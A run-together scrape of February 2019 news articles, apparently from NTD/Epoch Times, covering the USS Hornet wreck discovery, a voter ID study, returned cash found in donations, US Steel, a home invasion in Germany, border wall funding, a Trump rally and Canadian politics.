The carrier, also known as the CV-8, sunk in October 1942 during the Battle of the Santa Cruz Islands by Japanese bombers, torpedo planes, and ship-launched torpedoes.

Wreckage of the USS Hornet was discovered in late January 2019, nearly 17,500 feet below the surface, resting on the floor of the South Pacific Ocean, the R/V Petrel team, which discovered the sunken ship, said in a statement.

One of the most important aircraft carriers in WWII history has been located thanks to efforts from the crew of Paul Gepostet von Flying Heritage & Combat Armor Museum am Dienstag, 12. Februar 2019

We had the Hornet on our list of WWII warships that we wanted to locate because of its place in history as a capitol carrier that saw many pivotal moments in naval battles, Robert Kraft, the head of subsea operations for Vulcan, said in the announcement.

Paul Allen was particularly interested in aircraft carriers so this was a discovery that honors his memory, Kraft added. Allen, the co-founder of Microsoft and who backed R/V Petrel, died last year.

The USS Hornet is best known for the Doolittle raid on Japan in April 1942. The attack took place in the wake of the Pearl Harbor bombing, said the Naval History and Heritage Command website, which added that it was the first raid on the Japanese homeland by American forces in the war.

Wreckage of WWII aircraft carrier USS Hornet discovered: Researchers are revealing #RVPetrel found the wreckage in late January more than 17,000 feet below the surface, on the floor of the South Pacific. https://t.co/tJWyfvYn54@USNavy @USPacificFleet @USNHistory @VulcanInc pic.twitter.com/fPysonuPvA  CBS This Morning (@CBSThisMorning) February 12, 2019

In the raid, the USS Hornet was set to transport B-25 bombers to the east of Tokyo before the planes would then proceed to either the east coast of China or to Vladivostok in the Soviet Union, said the history website.

However, Soviet reluctance to allow the use of Vladivostok as a terminus and the Stalin regimes unwillingness to provoke Japan compelled the selection of Chinese landing sites, the website said.

The Hornet was eventually sunk during the battle of the Santa Cruz Islands that went from Oct. 25 to Oct. 27, 1942.

A piece of history uncovered: #RVPetrel has discovered WWII aircraft carrier #USSHornet 3+ miles below the S. Pacific. To us, this isnt just a remarkable findits our way, driven by Paul Allen, to preserve & honor those who served. https://t.co/LJrwiXE5VR #ThanksPaul @USNavy pic.twitter.com/5geJwYC2G1  Vulcan Inc. (@VulcanInc) February 12, 2019

Crew members of the aircraft carrier were forced to abandon ship after relentless Japanese attacks, said Allens organization. More than 100 American sailors died when it battle.

Although her service was short-lived, it was meteoric. In the dark days following the Japanese surprise attack on Pearl Harbor, she and the Doolittle Raiders were the first Americans to punch back at Japan, giving hope to the nation and the world when things looked bleakest, said Vice Chief of Naval Operations Adm. Bill Moran, reported USNI.

The USS Enterprise, another carrier, also suffered extensive damage in the battle.

3/4 More USS #HORNET CV8 pics (reposted to correct the aircraft ID). The aircraft is a Grumman F4F #Wildcat fighter with its wings folded (might have fallen from the hangar deck when the ship rolled). The last shot is an International Harvester aircraft tug on the hangar deck. pic.twitter.com/4HdYEAeKAv  Chris Cavas (@CavasShips) February 12, 2019

With the loss of Hornet and serious damage to Enterprise, the Battle of Santa Cruz was a Japanese victory, but at an extremely high cost, stated Rear Admiral Samuel Cox, director of Naval History and Heritage Command, to Fox News.

He added: About half the Japanese aircraft engaged were shot down by greatly improved U.S. Navy anti-aircraft defenses. As a result, the Japanese carriers did not engage again in battle for almost another two years.

A survivor of the Battle of Santa Cruz Island said that when the Japanese forces left, they were dead in the water.

4/4 More USS #HORNET CV8 pics. First 2 are quadruple 1.1-inch anti-aircraft mounts  Chicago Pianos. 3rd pic shows someones toilet kit with a toothbrush to the right. Last shot shows flight jackets stuffed into a hatch, maybe to keep it open. pic.twitter.com/LGBnOwF6vJ  Chris Cavas (@CavasShips) February 12, 2019

They used armor-piercing bombs, now when they come down, you hear em going through the decks  plink, plink, plink, plink  and then when they explode the whole ship shakes, Richard Nowatzki, who was a gunner on the ship and survived the battle, told CBS News.Voter ID Laws Do Not Suppress Voting, Study Finds

A new study published in the National Bureau of Economic Research reports that strict voter identification laws dont stop people from voting in U.S. elections.

The study also found that such laws have no negative effect on voter registration or voter turnout either overall or for any specific group, whether defined by race, gender, age, or party affiliation.

The findings contradict a major assertion made by many election-oriented groups and Democratic politicians who believe that voter ID laws are a source of voter suppression. Voter ID laws and other contentious election integrity measures usually occur in states with Republican-controlled legislatures, making it a partisan issue.

Authors Enrico Cantoni of the University of Bologna and Vincent Pons of Harvard Business School analyzed elections spanning eight years and used a methodology involving 1.3 billion voting observations.

These results hold through a large number of specifications and cannot be attributed to mobilization against the laws, measured by campaign contributions and self-reported political engagement, the authors said.

However, the study also found that voter ID requirements have no effect on voter fraud, leading the studys authors to conclude that efforts to reform voter ID laws may not have much impact on elections.

A spokesman for the Public Interest Legal Foundation (PILF), a conservative election integrity organization, said the robust voting study is just the latest research to confirm that voter ID does not harm the voting public, though he questioned the findings about voter fraud.

Voter ID is often the last line of defense against voter fraud at the polls, said PILF spokesman Logan Churchwell in a phone interview, indicating that other forms of fraud, such as absentee-ballot fraud, are easier to commit.

Plus, you never know how many decide not to commit fraud because of voter ID. You cant quantify a negative, he said.

Broad-based Support

Not all voter ID laws are the same. While 35 states have laws requesting or requiring voters to show some form of identification at the polls, only seven states have strict photo ID, the most stringent form of the laws.

According to the National Conference of State Legislatures, strict photo ID requires voters to provide an acceptable form of photo identification at the polls in order to vote, such as a state-issued drivers license or ID card.

Failure to do so doesnt mean an otherwise eligible voter will be permanently denied. Rather, voters without identification are required to cast a provisional ballot and sometimes return to an elections office within several days after Election Day with proper ID.

Despite their draconian reputationwhether strict photo ID, non-photo ID, or laws requesting identification but not requiring itsurvey polls have consistently shown strong broad-based support for the measures.

A Rasmussen poll published Oct. 3, one month prior to the November midterm elections, found that 67 percent of likely U.S. voters thought their fellow voters should be required to show photo identification before being allowed to vote.

A Gallup poll conducted prior to the 2016 presidential election found that four-in-five Americans, or 80 percent, supported voter ID laws. The results included 95 percent of Republicans and 63 percent of Democrats.

In the presidential election year of 2012, a Washington Post poll showed essentially the same result with almost 75 percent approval, including large majorities of people with less than $50,000 in annual income and two-thirds of non-whites.

Typically, lower-income voters and people of color are said to bear the brunt of voter ID laws, although consistent polling and the newly released National Bureau of Economic Research study appears to disprove such claims.

A Campaign Issue

Stacey Abrams, a rising star in the Democratic Party, has staked her career on voting rights, or alternatively, voter suppression.

Less than a month prior to her narrow election loss in November to Georgia Gov. Brian Kemp, Abrams declared Georgias strict photo ID law was meant to scare people out of voting.

This is simply a redux of a failed system that is designed to both scare people out of voting and make it harder for those who are willing to push through, make it harder for them to vote, Abrams told CNN.

According to public records, Abrams raised $12.5 million from 2013 to 2016 through two voting-rights nonprofits she founded.

To date, Abrams has refused to acknowledge where the donations come from, although she has personally benefited to the tune of nearly half a million dollars.

Priorities USA, a large Democratic group based in Washington, was a major donor to Abrams nonprofits, as previously reported.

The group announced Feb. 7 that it will spend $30 million in the 2020 election cycle to expand voter rights and fight Republican-backed laws in court that restrict ballot access, according to the Associated Press.Volunteer Finds $4,000 in Old Book, Tracks Down Owner to Return Money

A volunteer in Arizona was leafing through an old book when, to her shock, she found $4,000.

Cathy McAllister, a retired teacher who has been volunteering with the Volunteer Nonprofit Service Association in Phoenix since 2012, was helping process donated books when she came upon a dated copy of The Rise and Fall of the Roman Empire.

McAllister said that she was about to discard the book to be repurposed but had a feeling that she should leaf through it first.

I dont know what that was, I was literally throwing it in the discards, she told Fox News. It was just a feeling.

Part way through the book, a hollowed-out portion containing the money was revealed.

I was totally stunned, McAllister said. Truly. I was unable to find words. There were people in the category next to mine talking. I just took the open book and interrupted the conversation until I was able to say, Look what I found!'

Her initial thought was that the money wasnt real, she told Fox 10.

I had the book in my hands. I was ready to toss it, because we had several copies already  but when I fanned that book out, theres a big hole carved out in the book amongst the pages, and I look down in there and I thought, Its monopoly money. Oh how fun,' she said.

But its not monopoly money. It was all banded as it comes from the bank. It was four packages of $100 bills.

FEEL-GOOD STORY OF THE DAY A book sale volunteer tracked down a family who accidentally donated an old novel containing thousands of dollars. Retired https://t.co/BytqXAJmtD  Blake Ozz (@BlakeOzz) February 13, 2019

A photo of the inside of the book showed four packages of crisp bills, looking pretty new.

Inside the book was also a family letter that identified who the bookand the moneybelonged to, and McAllister tracked them down.

She said that she spoke to the owners daughter over the phone and later met with the man in person to hand over the money.

As for deciding whether or not to return the money, she told Fox News she did what she thought was right. My values were grounded in our faiththat the church taught us what was right and wrong. It just becomes who you are after a while, she said.

PHOENIX (FOX 10)  A book sale volunteer discovered a real treasure inside a hollowed out book and tracked down the man who donated the book so she could return the money.https://t.co/wrsd5AX2wO  StoryTime Sooz ???? (@EncoreReader) February 10, 2019

Goodwill Employee Finds $46,000

A California Goodwill employee found thousands of dollars while he was sorting through cartons of donations at a San Diego facility.

Jessee Diaz was opening a tempura fryer donated to the nonprofit when he saw a large roll of tin foil inside.

Diaz said he nearly threw away the fryer but looked inside. Thats when he saw the tinfoil. Underneath the foil were five envelopes containing a total of $46,000 in cash.

After about a week, Goodwill employees were able to find the name of the woman who donated the fryer, Debra Colarusso.

Tune in to NBC 7 San Diego with Bob Hanson tonight (9/25) @ 11 pm for a special Goodwill story that you don't want to miss! Gepostet von Goodwill Industries of San Diego County am Dienstag, 25. September 2018

She told them that the fryer was among the belongings of her mother-in-law, Michiko. Michikos husband had passed away and she was having memory issues, so the family had decided to donate some of her belongings.

Colarusso said she knew Michiko and her husband hid money but hadnt known where.

It was their secret squirrel account, she told NBC 7. When they got paid they would stash $100 into their secret account to save up for a rainy day.

Colarusso thanked Diaz for passing along the money.

We would have had no knowledge of this if it hadnt been for you, she said facing Jessee. I dont know what to say. Thank you so much.

From NTD NewsUS Steel Cites Trump in Resuming Construction Project

BIRMINGHAM, Ala.United States Steel Corporation will restart construction on an idled manufacturing facility in Alabama, and it gave some of the credit to President Donald Trumps trade policies in an announcement on Feb. 11.

Trumps strong trade actions are partly responsible for the resumption of work on an advanced plant near Birmingham, the Pittsburgh-based company said in a statement. The administrations tariffs have raised prices on imported steel and aluminum.

The manufacturer also cited improving market conditions, union support and government incentives for the decision.

Work will resume immediately, the company said, and the facility will have an annual capacity of 1.6 million tons.

United States Steel said it also will update other equipment and plans to spend about $215 million, adding about 150 full-time workers. The furnace is expected to begin producing steel in late 2020.

The 16,000-member United Steelworkers praised the decision to resume work, which followed an agreement with the union reached last fall.

This decision paves the way for a solid future in continuing to make steel in Alabama and the Birmingham region, Leo W. Gerard, the president of the international union, said in a statement.

United States Steel shut down its decades-old blast furnace at Fairfield Works in 2015, idling about 1,100 employees, and said it would replace the operation with an electric furnace.

United States Steel Corp. said it plans to add 1.6 million tons of steelmaking capacity next year by resuming the construction of a new furnace in Alabama as tariffs on foreign metal raise profits on domestic steel.https://t.co/rtTmvjF5q3  Binyamin Appelbaum (@BCAppelbaum) February 11, 2019

The company then blamed conditions in the steel, oil and gas industries as it suspended work in Dec. 2015 on an electric arc furnace at its mill in Fairfield, located just west of Birmingham. The project stalled until the announcement on Monday.

United States Steel and other large United States steelmakers have benefited since the Trump administration began imposing 25 percent tariffs on imported steel in March of last year, largely because they were able to raise domestic steel prices. Other countries said the taxes break global trade rules, and some have imposed tariffs of their own.

Last year, shipments from United States steel producers increased 5 percent, and steel imports are down 37 percent since the tariffs took effect, said Lisa Harrison, spokeswoman for the American Iron and Steel Institute, a trade association. She attributed the changes to the tariffs as well as regulatory reform and a favorable economy.

But higher prices have hurt the bottom lines of steel industry customers. General Motors (GM), for instance, said last week that steel and aluminum price increases due largely to the tariffs raised the prices of those commodities, costing the company more than $1 billion last year. GM expects another $1 billion increase this year.

United States Steels revenue rose 19 percent last year compared with a year earlier, and it swung from a loss to a net profit of $387 million.

The companys stock hasnt fared as well. It started 2018 just over $37 per share, rose into the $40s but then largely fell and was trading around $22.65 on Monday.US Army Employee Describes Chilling Attack by Four Men in Germany

A U.S. Army employee living in Germany said that an attack by three men was not a simple burglary as he described it in detail for the first time.

Prosecutors said that the 41-year-old American, who hasnt been named, was at home with his wife and three children when four men barged into their house in Landstuhl.

The man, a former Air Force major, said he was reading a bedtime story to his 5-year-old son and 3-year-old daughter when the doorbell rang.

Having only moved from New Mexico to the country four months ago, it was odd for someone to be calling on the family at night. It was dark downstairs and the man couldnt see who it was, but he opened the door.

Stupidly, I opened the door. They all rushed me, the American told Stars and Stripes. He asked not to be identified by name for safety reasons.

The next 10 minutes was a fight for life as the man fought three attackers while the fourth rushed upstairs to attack his wife.

The American told Fox News via Facebook messenger that he saw one man at the door and opened it to see what he wanted.

Thats when three others appeared and the group attacked him.

While I fought three in my entry, one got past and made it upstairs to where my wife and children were, he said. After I fought off the three, got them out of the doorthat is when I got the kitchen knife and went upstairs to get the fourth attacker, who had tackled my wife and was strangling and pinning her down.

The man said while he was fighting three of the men, he could hear his wife screaming upstairs and battling with the fourth.

This storys all anyones talking about in the newsroom. Very vivid, frightful stuff. Makes me want to buy a bigger defensive weapon for my apartment. https://t.co/SMm0D0kkVN  Chad Garland (@chadgarland) February 13, 2019

Wife Attacked

She is screaming bloody murder, shes screaming my baby, my baby, he told Stars and Stripes. The whole time I am swinging. I am pounding on anybody and everything that comes near me. I just fought like hell. I dont know how I got the three guys back out the door.

When he rushed upstairs with a kitchen knife he heard the man telling his wife No talk repeatedly in broken English. The attacker apparently heard the American coming.

I can see him coming at me as soon as I get to the top of the stairs, he said. We collided in the doorway, scuffled right there in the door and into the hall at the top of the stairs. I think I got three stabs on him.

The attacker fled, and the American slammed the door shut. German police officers rushed to the scene minutes later.

The four attackers fled but stopped about 10 miles southeast and laid the 43-year-old man who the American stabbed on the ground. Another suspect, the injured mans 51-year-old brother, asked a passerby to call for medical help.

The injured man died and his brother was arrested. Both are German citizens. The two other suspects fled and are still on the loose.

An investigation has been launched that includes a probe into whether the American used excessive force.

Gino Mattorano, a spokesman for the U.S. Armys Regional Health Command Europe, where the American is employed, told The Associated Press that it is fully cooperating with German investigators.

The man told Stars and Stripes that the officers who responded to the scene told him they would have done exactly what he did but the family was driven to a police station for questioning, with the American and his wife separated.

Prosecutor Iris Weingardt could not say how long the probe will take adding that facts needed to be gathered and only then can a legal evaluation follow.

From NTD NewsWith the announcement that the Nursing and Midwifery Council (NMC) in the UK has changed its English language proficiency requirements for overseas applicants, the British Council in Sri Lanka has identified the change as an opportunity for nurses and midwives seeking to work in the UK. The British Council administers IELTS (International English Language Testing System) across Sri Lanka and provides many resources to guide those wishing to take the test.

Under the change, the writing score requirement has been lowered to 6.5 from 7. This writing score will be accepted alongside a score of 7.0 in the reading, listening and speaking sections of the test. This means that nurses and midwives wishing to work in the UK may submit a lower writing score of 6.5 while still meeting the minimum overall band score requirement of 7.0.

In Sri Lanka, the British Council has been active for almost seven decades as the UKs international organization for cultural relations and education opportunities. The British Council is a trusted provider of English language education in the country, offering programmes for learners of all ages. The NMC has made its decision independently, as the British Council does not play a role in determining scores required for specific purposes. We advise that applicants contact the NMC directly on their English language proficiency requirements, noted Rob Low, Director, Examinations Sri Lanka of the British Council in Sri Lanka. That said, we look forward to continuing to provide support and guidance to nurses and midwives wishing to work in the UK, so that they may achieve the IELTS score requirements announced by the NMC.

Widely used in migration to Australia, Canada, New Zealand and the UK, IELTS is the worlds most sought-after proof of English language proficiency by immigration bodies, employers, schools, and universities. The test is recognized by more than 10,000 of these bodies, including all universities in Australia and the UK and many leading higher education institutions in the USA. The tests success is attributed to its rigorous testing criteria, measured across four key language skills- listening, reading, writing and speaking. It is administered in over 140 countries around the world and taken at least 3 million times each year. IELTS is jointly owned by British Council, IDP: IELTS Australia and Cambridge Assessment English.

Dr. Kithsiri Edirisinghe, CEO/Founder/Director Academic IIHS, one of the leading Nursing education learning centres in Sri Lanka welcomed this news: We welcome changes to the English language proficiency requirements for overseas nurses from the UK Nursing and Midwifery Council as this gives our nursing students motivation and confidence when applying for employment in the UK. IIHS is an IELTS registration and learning center for IIHS students as well as for individuals in the Gampaha district, and works closely with the British Council to support and prepare IELTS candidates. We hope these changes to the IELTS requirements will encourage more nurses to apply to the UK.

At British Council we have a variety of preparation support both as free and paid services, to cater to the different needs and wants of the IELTS candidates. They range from preparation classes to online resources and can be accessed through our offices in Colombo, Kandy, Matara and Jaffna. We also support an island-wide IELTS partner network where one can get information and support, for nurses and nursing students spread across the country, said Dileepa Manawadu - Head of Business Development, UK Qualifications.UK Scientists Build Hand Database to Catch Child Abusers

LONDONBritish scientists are building a database of hand images in order to track down child abusers and other criminals.

Experts from Lancaster University are asking the British public to send images of their hands so they can train artificial intelligence to spot criminals.

Marks and veins on the back of peoples hands can be used to identify them, meaning images of abuse gathered by police have been used in court to unmask the criminals pictured in them.

However, the work of identification involves slowly examining the disturbing images, matching identifying features with other images.

Forensic anthropologist Professor Dame Sue Black of Lancaster University said in an emailed statement that they need 5,000 unique hand images from the public in order to compare their identifying features.

Now for the first time, researchers will analyze all the factors that make a hand truly unique, so we can understand and use them reliably as evidence to identify individuals, Black said.

She added, A significant step change is required in the science to both reliably and repeatedly extract and compare anatomical information from large numbers of images especially when the hand is not in a standard position or when either the resolution or lighting in the image is not ideal.

She also told BBC Radio 4s Today program that the results of the research could be used to trace criminals internationally.

So if youve got a perpetrator who might be working out of Malaysia and moves to Germany or the UK, different police forces see these images, but cant necessarily connect them to the same perpetrator.

We believe that if we can use machine learning to speed up the process and to be able to trawl through millions of images, not only do you have the opportunity to make those connections, but you are also saving the officers and scientists who have to be exposed to these photographs, she said.

The project combines the usual identifiers such as fingerprints with patterns of veins on the hand, scars, and skin creases.

Scientists said the biometric capabilities developed from the research could also have applications in border control and security.

Following the launch of the initiative, there was a clearly visible response on social media from members of the public willing to email pictures of their hands to the researchers.

Black said her team would remove any information that could link participants names or email addresses to the photos.A Syrian passport at a center for arrival for refugees in Sachsen, eastern Germany, on Dec. 19, 2018. (Matthias Rietschel/AFP/Getty Images)

Two Syrians Arrested in Germany for Suspected Crimes Against Humanity

BERLINPolice have arrested two Syrian citizens in Germany on suspicion of crimes against humanity, including torturing prisoners, while working for Syrias intelligence service, federal prosecutors said on Feb. 13.

Germany, Norway, and Sweden are the only European countries whose laws allow them to prosecute and try war crimes committed outside their territory. Germany is home to more than 600,000 Syrians.

The two suspects, identified as Anwar R., 56, and Eyad A., 42, were arrested by federal police in Berlin and Rhineland-Palatinate state. Both had been part of the Syrian security service center in Damascus and had left Syria in 2012, a spokeswoman for the GBA Federal Prosecutors Office said

As a high-ranking employee in the Syrian intelligence service, Anwar R. is strongly suspected of participating in crimes against humanity by torturing opposition activists between 2011 and 2012, prosecutors said in a statement.

As head of the so-called investigative department, Anwar R. assigned and directed the operations in the prison, including the use of systematic and brutal torture, said the statement.

The other Syrian is suspected of helping to kill two people and torturing at least 2,000 as an intelligence worker between July 2011 and January 2012, it said. He is suspected of working in the department Anwar R. was directing.

Anwar R. has been in Germany since mid-2014 and Eyad A. since mid-2018, the prosecutors spokesman told Reuters, adding that both suspects had applied for asylum in Germany.

It was a question of time that someone is identified and will be accused and later on arrested, most probably indicted and put on trial in Germany or another European country, Wolfgang Kaleck, the head of European Center for Constitutional and Human Rights, told Reuters.

Six torture survivors, some of whom live in Germany, have given testimonies against one of the two suspects, Kaleck said.

By Riham AlkousaaGary Anthony Shover (L) and Owen Skyler Shover are seen in police booking photos released by authorities on Feb. 12, 2019. (Riverside County Sheriff's Department)

Two Brothers Arrested on Suspicion of Murder in Case of Missing California Teen

Police have arrested two brothers for the murder of missing California teenager Aranda Briones.

Riverside County sheriffs officials said in a statement that Owen Skyler Shover, 18, was arrested on suspicion of murder, and Gary Anthony Shover, 21, was arrested on suspicion of conspiracy to commit murder.

The two brothers were taken into custody on Feb. 11 at approximately 10:30 p.m. after members of the Sheriffs SWAT team served a search warrant at a residence in the city of Hesperia. Other law enforcement agencies assisted with the apprehension, including the Sheriffs Central Homicide Unit, Major Crimes Unit, and the Moreno Valley Police Special Enforcement Team.

A Victim of Homicide

Evidence was collected that confirmed Ms. Briones was a victim of homicide and points to these two brothers, Riverside County Sheriffs Lt. Chris Durham told reporters at a press conference streamed on the departments Facebook page.

Early on in the investigation it was learned that Ms. Briones was last seen with Owen, Durham noted.

Owen Shover, the younger of the two brothers, was a high school friend of the missing teenager.

I think hes a bad influence, in my opinion, Arandas uncle Matthew Horstkotte earlier said of the 18-year-old Shover, according to ABC7. He used to go to Moreno Valley High School, and they stopped hanging out for, like, a year. She never talked about him and then, all of a sudden, they started hanging out and out of the blue air she disappeared.

Sheriff Chad Bianco told The Press-Enterprise that the younger Shover had been in a prior relationship with the missing girl.

The younger Shover claimed to have last seen Briones on Jan. 13 near Moreno Valley Community Park, according to the L.A. Times. He reportedly told both family and investigators that after dropping her off, he saw her get into a gray four-door car.

Shortly after, Briones phone went dead.

She has not been seen since.

Evidence Points to Murder

Detectives combing through evidence, including security camera footage, determined that Shovers story contained inconsistencies.

The cameras were reviewed and ultimately it destroyed the timeline he provided, Durham said, adding that homicide investigators obtained evidence leading them to believe Briones was murdered.

Neighbors cited by ABC7 said investigators found several items last month at the suspects home after digging up parts of the property.

It was like a blanket and a coat, a neighbor said, and then they started sitting all these little markers around and digging in other places.

The evidence led investigators to obtain arrest warrants for the Shover brothers.

Yet Briones body has still not been found.

Sadly, cases like this are hard for everybody, Durham said. The community came together in hopes to find Ms. Briones.

The Search Continues

This is an active investigation and we are still seeking the publics assistance in helping us find Aranda, the Sheriffs office said in a statement.

Members of the missing girls family spoke to reporters after the announcement of the Shovers arrests.

Her rooms empty in the house  She wanted to go to college, she loved helping people, a tearful Horstkotte said, according to KTLA5. And its taken away. I dont wish this on anyone.

Horstkotte told ABC News earlier that he was sure her friends knew more than they were saying.

Nowadays, you know teenagers want to cover up for a friend, or someone says, I dont want to tell because Im scared, he said.

But just come forward, he pleaded. The only person youre hurting right now is Aranda.

There is also a Facebook page devoted to locating the lost teen: Help us find aranda brionesPresident Donald Trump talks to reporters during a meeting with members of his cabinet in the Cabinet Room at the White House on Feb. 12, 2019. (Chip Somodevilla/Getty Images)

Trump Wants to See Wall Funding Bill Before Deciding Whether Hell Sign It

President Donald Trump is reserving his final decision on whether hell sign a bill with $1.4 billion appropriated for the border wall until after he sees what else is in it.

We want to see what the final piece of legislation looks like, White House press secretary Sarah Sanders told reporters on Feb. 13. Its hard to say definitively whether or not the president is going to sign it until we know everything thats in it.

Key points of the bill were agreed upon by congressional negotiators on Feb. 11, but the language of the bill is still being ironed out by the Senate Appropriations Committee.

The committee staff hopes to have the bill filed by the evening of Feb. 13, said a spokesperson for the committees chairman, Sen. Richard Shelby (R-Ala.), in a phone call.

Trump has indicated he may begrudgingly accept the bill, which is far short of his request of $5.7 billion for border wall construction in 2019.

The president isnt fully happy, as he said yesterday, with everything thats in the legislation, but there are some positive pieces of it, Sanders said.

The bill includes $1.375 billion for constructing 55 miles of new fencing in the Rio Grande Valley, the highest priority for Border Patrol, according to information provided by senior congressional aides.

The new wall can be of any design already deployed by the Border Patrol, which includes a steel slat fence Trump deemed acceptable.

The Border Patrol catches nearly 40 percent of all illegal border crossers in the valley sectormore than 77,000 during the first four months of fiscal 2019, which marks an increase of more than 80 percent compared with the same period the year before.

Detention Beds

The congressional negotiators, nine Democrats and eight Republicans from both Senate and the House of Representatives, hit a snag over the weekend due to the Democrats proposing limits on the detention capacity of Immigration and Customs Enforcement (ICE).

The current detention population is about 49,000, which the Democrats want to bring down, and Trump wants to increase.

The negotiators came up with a somewhat Solomonic solution, providing funding for about 45,000 beds, but giving ICE the authority to transfer up to $750 million of other funding toward detention, which would raise the capacity by 13,000.

Other Money

Trump said he plans to combine the wall money from Congress with other funding transferred from other parts of the budget.

Was just presented the concept and parameters of the Border Security Deal by hard-working Senator Richard Shelby, he said in a Feb. 12 tweet. Looking over all aspects knowing that this will be hooked up with lots of money from other sources.

Was just presented the concept and parameters of the Border Security Deal by hard working Senator Richard Shelby. Looking over all aspects knowing that this will be hooked up with lots of money from other sources.  Donald J. Trump (@realDonaldTrump) February 12, 2019

The president has multiple legal ways to reprogram funding, though some of them only become available if he declares a national emergency, according to his budget chief and acting chief of staff, Mick Mulvaney. The whole pot is well north of $5.7 billion, Mulvaney said on Feb. 10.

The presidents got a number of options, hes going to keep all those on the table, Sanders said. Well make a determination of what is necessary, based on what the final piece of legislation looks like.

Shutdown for Awareness

Trump took a firm stance on having a wall for border security in December, warning Congress that he wouldnt sign a budget bill without funding for it. But leaders of Democrats in Congress wouldnt give ground, letting a quarter of the federal government run out of money on Dec. 22. Only after a record 35 days of shutdown, and Trumps extensive arguments on the merits of a barrier, did the Democrats agree to negotiate on the funding and Trump agreed to fund the government until Feb. 15.

Sanders acknowledged the shutdown helped Trump bring border security to the forefront with the public.

I think that the American people have a better understanding of the true crisis, the national security and humanitarian crisis at the border, she said.

While unhappy with the result of the negotiations, Trump said he doesnt want another shutdown.

I want to thank all Republicans for the work you have done in dealing with the Radical Left on Border Security, he said in a Feb. 12 tweet. Not an easy task, but the Wall is being built and will be a great achievement and contributor toward life and safety within our Country!Trump Jabs at Beto ORourke for Smaller Rally Size

During his El Paso, Texas, rally, President Donald Trump quipped at the expense of the Democrats failed Senate candidate in Texas, Beto ORourke, whose counter-rally nearby attracted a much smaller crowd.

Trump called ORourke a young man whos got very little going for himself except he has a great first namean apparent shot at ORourkes use of a Hispanic-sounding nickname in the heavily Hispanic area, despite being of Irish lineage.

ORourke previously said hes been called Beto since birth to differentiate him from his grandfather, who was also named Robert.

He challenged us, Trump continued. So we have lets say, 35,000 people, tonight. And he has 200 people, 300 people. Not too good.

Organizers of the ORourke rally told Politicos David Siders that they had 7,000 in attendance. Video footage from ORourkes 23-minute speech shows a crowd of perhaps more than 2,000.

That may be the end of his presidential bid, Trump said.

ORourke has repeatedly suggested that he may enter the 2020 race, though he has yet to formally commit.

Trump received over 70,000 RSVPs for his rally, according to his campaign manager Brad Parscale, who, in a Feb. 11 tweet, estimated Trumps crowd at 8,000 inside the venue and tens of thousands in the parking lot and streets for a total of over 35,000.

The Epoch Times couldnt verify the number of attendees at the Trump rally. The El Paso Police Department didnt respond to a request for crowd size estimates for the rallies.

Trumps venue, El Paso County Coliseum, has a capacity of up to 7,000, according to online ticketing sites.

Trump commonly fills venues beyond capacity by using only a small podium for his speaker stand and opening the floor to as many attendees as possiblea practice he followed in El Paso.

About the Wall

Trump went to El Paso, ORourkes hometown, to make a case for building a border barrier. In the first such rally since the November midterm elections, the Promises Made, Promises Kept banners had given way to Finish the Wall.

Safety is the birthright of every American which is why we must finish the wall. Walls are not immoral as what was said, human trafficking is immoral. Drug trafficking is immoral, child smuggling is immoral  Open borders are dangerous and immoral, Trump said.

Trump highlighted El Paso as an example of the success of border fencing, as the crime rate went down after the fence was erected. Ciudad Juarez, Mexico, is located directly across the border and has massive levels of violence.

ORourke, on the other hand, said the city has been a little less safe after a border fence was built there in 2008.

Safe El Paso

Compared to Juarez, which had 1,247 murders in 2018, El Paso was much safer with only 23 murders that year, UPI reported.

But ORourkes reference to the 2008 fence construction misses the fact that El Paso has had some border fencing since the 1990s.

The El Paso barriertwo parallel chain link fences over 15 feet in height spaced 30 feet apart along the bed of the Rio Grandehelped cut the number of illegal border crossers and curbed crime in the city, residents say, Reuters reported in March 2008, before the fence was further expandedagainst opposition from some locals.

El Paso metro area crime rates dropped precipitously in the 1990s, from more than 800 violent crimes per 100,000 residents in 1995 (pdf) to less than 660 in 1999 (xls), FBI data shows.

The rate kept decreasing, down to about 437 in 2008 and 356 in 2017less than the national average of nearly 383.

Its hard to quantify, though, how much of the decrease can be attributed to the fence.

Along this stretch, the fence in itself doesnt stop anyone, but it does slow them down and gives us time to react. Those extra seconds are vital, and thats what a lot of people dont realize, border agent Jose Cisneros said in 2008.

Illegal Crossings

ORourke voiced his opposition to building a border wall at a time of record-low northbound apprehensions.

Its not clear what he meant. U.S. Customs and Border Protection doesnt differentiate apprehensions of illegal border crossers by where theyre bound in its public statistics.

In the El Paso sector, which covers the border in the westernmost tip of Texas and the whole stretch in New Mexico, apprehensions reached nearly 35,000 in the first four months of the fiscal 2019, marking an increase of nearly 440 percent compared to the same period the year before and the highest in 13 years (pdf).

As of August 2017, the roughly 180-mile border in New Mexico featured only 14 miles of pedestrian fencing in addition to 101 miles of vehicle fencing, which is only about five feet high and easy to climb over (pdf).

Trump has requested $5.7 million for an additional 234 miles of steel slats border fencing for the 2019 budget. After stiff opposition from leaders of Democrats in Congress, he shut down about a quarter of the federal government until Democrats agreed to negotiate the wall funding after a record-breaking 35 days. The negotiations produced an offer of less than $1.4 billion on Feb. 11. Trump indicated he was unhappy with the number, but wants to avoid another shutdown, which can be averted by passing the remaining appropriations by Feb. 15.Justice Minister Jody Wilson-Raybould waits to appear at the House of Commons Standing Committee on Justice and Human Rights on Aug. 11, 2016. (The Canadian Press/ Patrick Doyle)

Trudeau Says Hes Surprised, Puzzled by Wilson Rayboulds Resignation

WINNIPEGPrime Minister Justin Trudeau says he was surprised and disappointed by Jody Wilson-Rayboulds resignation on Feb. 12.

The former justice minister resigned from the federal cabinet one day after Trudeau suggested her continuing presence there was proof she didnt think shed been improperly pressured to help SNC-Lavalin avoid criminal prosecution.

At an appearance in Winnipeg late afternoon on Feb. 12, Trudeau said the government did its job on the SNC-Lavalin file and if anyone in the cabinet thought anything improper had happened, they had a duty to raise it with him at the time. Wilson-Raybould never mentioned it, he said.

Nevertheless, her departure added fuel to opposition accusations of political interference in the justice system. And it left Trudeaus reconciliation agenda with Canadas Indigenous Peoples in tatters.

Wilson-Raybould had been Canadas first Indigenous justice minister and the face of Trudeaus commitment to make reconciliation his top priority.

In a letter to Trudeau published on her website, Wilson-Raybould said she was resigning with a heavy heart but did not explain why.

However, she said shes aware that many Canadians wish for me speak (sic) on matters that have been in the media over the last weekreferring to the furor that erupted after a news report on Feb. 7, alleged she was demoted to veterans-affairs minister in January from the prestigious justice and attorney general portfolio because she had refused to give in to pressure last fall from the Prime Ministers Office on the SNC-Lavalin case.

As the former attorney general, Wilson-Raybould has refused to comment on the allegation, citing solicitor-client privilege.

